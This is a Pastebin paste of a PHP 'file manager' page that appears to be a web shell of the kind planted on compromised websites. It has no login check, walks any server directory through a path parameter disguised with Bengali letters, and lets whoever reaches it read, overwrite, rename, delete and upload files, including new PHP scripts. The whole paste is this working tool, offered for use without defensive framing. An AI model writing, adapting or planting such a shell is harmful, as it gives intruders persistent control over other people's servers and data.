Advertisement
willysec_id

ILY File Manager

Oct 11th, 2023
894
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.98 KB | Cybersecurity | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3.  
  4. <head>
  5.     <meta charset="UTF-8">
  6.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  8.     <title>#I LOVE YOU EVERDAY#</title>
  9.     <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
  10.         integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
  11.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
  12.         integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
  13.         crossorigin="anonymous" referrerpolicy="no-referrer" />
  14. </head>
  15.  
  16. <body>
  17.  
  18.     <?php
  19.  
  20.  
  21.     //function
  22.     function formatSizeUnits($bytes)
  23.     {
  24.         if ($bytes >= 1073741824) {
  25.             $bytes = number_format($bytes / 1073741824, 2) . ' GB';
  26.         } elseif ($bytes >= 1048576) {
  27.             $bytes = number_format($bytes / 1048576, 2) . ' MB';
  28.         } elseif ($bytes >= 1024) {
  29.             $bytes = number_format($bytes / 1024, 2) . ' KB';
  30.         } elseif ($bytes > 1) {
  31.             $bytes = $bytes . ' bytes';
  32.         } elseif ($bytes == 1) {
  33.             $bytes = $bytes . ' byte';
  34.         } else {
  35.             $bytes = '0 bytes';
  36.         }
  37.         return $bytes;
  38.     }
  39.  
  40.     function fileExtension($file)
  41.     {
  42.         return substr(strrchr($file, '.'), 1);
  43.     }
  44.  
  45.     function fileIcon($file)
  46.     {
  47.         $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
  48.         $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
  49.         $ext = strtolower(fileExtension($file));
  50.         if ($file == "error_log") {
  51.             return '<i class="fa-sharp fa-solid fa-bug"></i> ';
  52.         } elseif ($file == ".htaccess") {
  53.             return '<i class="fa-solid fa-hammer"></i> ';
  54.         }
  55.         if ($ext == "html" || $ext == "htm") {
  56.             return '<i class="fa-brands fa-html5"></i> ';
  57.         } elseif ($ext == "php" || $ext == "phtml") {
  58.             return '<i class="fa-brands fa-php"></i> ';
  59.         } elseif (in_array($ext, $imgs)) {
  60.             return '<i class="fa-regular fa-images"></i> ';
  61.         } elseif ($ext == "css") {
  62.             return '<i class="fa-brands fa-css3"></i> ';
  63.         } elseif ($ext == "txt") {
  64.             return '<i class="fa-regular fa-file-lines"></i> ';
  65.         } elseif (in_array($ext, $audio)) {
  66.             return '<i class="fa-duotone fa-file-music"></i> ';
  67.         } elseif ($ext == "py") {
  68.             return '<i class="fa-brands fa-python"></i> ';
  69.         } elseif ($ext == "js") {
  70.             return '<i class="fa-brands fa-js"></i> ';
  71.         } else {
  72.             return '<i class="fa-solid fa-file"></i> ';
  73.         }
  74.     }
  75.  
  76.     function encodePath($path)
  77.     {
  78.         $a = array("/", "\\", ".", ":");
  79.         $b = array("ক", "খ", "গ", "ঘ");
  80.         return str_replace($a, $b, $path);
  81.     }
  82.     function decodePath($path)
  83.     {
  84.         $a = array("/", "\\", ".", ":");
  85.         $b = array("ক", "খ", "গ", "ঘ");
  86.         return str_replace($b, $a, $path);
  87.     }
  88.  
  89.  
  90.  
  91.     $root_path = __DIR__;
  92.     if (isset($_GET['p'])) {
  93.         if (empty($_GET['p'])) {
  94.             $p = $root_path;
  95.         } elseif (!is_dir(decodePath($_GET['p']))) {
  96.             echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
  97.         } elseif (is_dir(decodePath($_GET['p']))) {
  98.             $p = decodePath($_GET['p']);
  99.         }
  100.     } elseif (isset($_GET['q'])) {
  101.         if (!is_dir(decodePath($_GET['q']))) {
  102.             echo ("<script>window.location.replace('?p=');</script>");
  103.         } elseif (is_dir(decodePath($_GET['q']))) {
  104.             $p = decodePath($_GET['q']);
  105.         }
  106.     } else {
  107.         $p = $root_path;
  108.     }
  109.     define("PATH", $p);
  110.  
  111.     echo ('
  112. <nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  113.  <div class="navbar-brand">
  114.  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
  115. ');
  116.  
  117.     $path = str_replace('\\', '/', PATH);
  118.     $paths = explode('/', $path);
  119.     foreach ($paths as $id => $dir_part) {
  120.         if ($dir_part == '' && $id == 0) {
  121.             $a = true;
  122.             echo "<a href=\"?p=/\">/</a>";
  123.             continue;
  124.         }
  125.         if ($dir_part == '')
  126.             continue;
  127.         echo "<a href='?p=";
  128.         for ($i = 0; $i <= $id; $i++) {
  129.             echo str_replace(":", "ঘ", $paths[$i]);
  130.             if ($i != $id)
  131.                 echo "ক";
  132.         }
  133.         echo "'>" . $dir_part . "</a>/";
  134.     }
  135.     echo ('
  136. </div>
  137. <div class="form-inline">
  138. <a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
  139. <a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
  140. </div>
  141. </nav>');
  142.  
  143.  
  144.     if (isset($_GET['p'])) {
  145.  
  146.         //fetch files
  147.         if (is_readable(PATH)) {
  148.             $fetch_obj = scandir(PATH);
  149.             $folders = array();
  150.             $files = array();
  151.             foreach ($fetch_obj as $obj) {
  152.                 if ($obj == '.' || $obj == '..') {
  153.                     continue;
  154.                 }
  155.                 $new_obj = PATH . '/' . $obj;
  156.                 if (is_dir($new_obj)) {
  157.                     array_push($folders, $obj);
  158.                 } elseif (is_file($new_obj)) {
  159.                     array_push($files, $obj);
  160.                 }
  161.             }
  162.         }
  163.         echo '
  164. <table class="table table-hover">
  165.  <thead>
  166.    <tr>
  167.      <th scope="col">Name</th>
  168.      <th scope="col">Size</th>
  169.      <th scope="col">Modified</th>
  170.      <th scope="col">Perms</th>
  171.      <th scope="col">Actions</th>
  172.    </tr>
  173.  </thead>
  174.  <tbody>
  175. ';
  176.         foreach ($folders as $folder) {
  177.             echo "    <tr>
  178.      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
  179.      <td><b>---</b></td>
  180.      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
  181.      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
  182.      <td>
  183.      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
  184.      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
  185.      <td>
  186.    </tr>
  187. ";
  188.         }
  189.         foreach ($files as $file) {
  190.             echo "    <tr>
  191.          <td>" . fileIcon($file) . $file . "</td>
  192.          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
  193.          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
  194.          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
  195.          <td>
  196.          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
  197.          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
  198.          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
  199.          <td>
  200.    </tr>
  201. ";
  202.         }
  203.         echo "  </tbody>
  204. </table>";
  205.     } else {
  206.         if (empty($_GET)) {
  207.             echo ("<script>window.location.replace('?p=');</script>");
  208.         }
  209.     }
  210.     if (isset($_GET['upload'])) {
  211.         echo '
  212.    <form method="post" enctype="multipart/form-data">
  213.        Select file to upload:
  214.        <input type="file" name="fileToUpload" id="fileToUpload">
  215.        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
  216.    </form>';
  217.     }
  218.     if (isset($_GET['r'])) {
  219.         if (!empty($_GET['r']) && isset($_GET['q'])) {
  220.             echo '
  221.    <form method="post">
  222.        Rename:
  223.        <input type="text" name="name" value="' . $_GET['r'] . '">
  224.        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
  225.    </form>';
  226.             if (isset($_POST['rename'])) {
  227.                 $name = PATH . "/" . $_GET['r'];
  228.                 if(rename($name, PATH . "/" . $_POST['name'])) {
  229.                     echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  230.                 } else {
  231.                     echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  232.                 }
  233.             }
  234.         }
  235.     }
  236.  
  237.     if (isset($_GET['e'])) {
  238.         if (!empty($_GET['e']) && isset($_GET['q'])) {
  239.             echo '
  240.    <form method="post">
  241.        <textarea style="height: 500px;
  242.        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
  243.        <br>
  244.        <input type="submit" class="btn btn-dark" value="Save" name="edit">
  245.    </form>';
  246.  
  247.     if(isset($_POST['edit'])) {
  248.         $filename = PATH."/".$_GET['e'];
  249.         $data = $_POST['data'];
  250.         $open = fopen($filename,"w");
  251.         if(fwrite($open,$data)) {
  252.             echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  253.         } else {
  254.             echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  255.         }
  256.         fclose($open);
  257.     }
  258.         }
  259.     }
  260.  
  261.     if (isset($_POST["upload"])) {
  262.         $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
  263.         if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  264.             echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
  265.         } else {
  266.             echo "<p>Sorry, there was an error uploading your file.</p>";
  267.         }
  268.  
  269.     }
  270.     if (isset($_GET['d']) && isset($_GET['q'])) {
  271.         $name = PATH . "/" . $_GET['d'];
  272.         if (is_file($name)) {
  273.             if(unlink($name)) {
  274.                 echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  275.             } else {
  276.                 echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  277.             }
  278.         } elseif (is_dir($name)) {
  279.             if(rmdir($name) == true) {
  280.                 echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  281.             } else {
  282.                 echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
  283.             }
  284.         }
  285.     }
  286.     ?>
  287.  
  288.     <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
  289.         integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
  290.         crossorigin="anonymous"></script>
  291. </body>
  292.  
  293. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement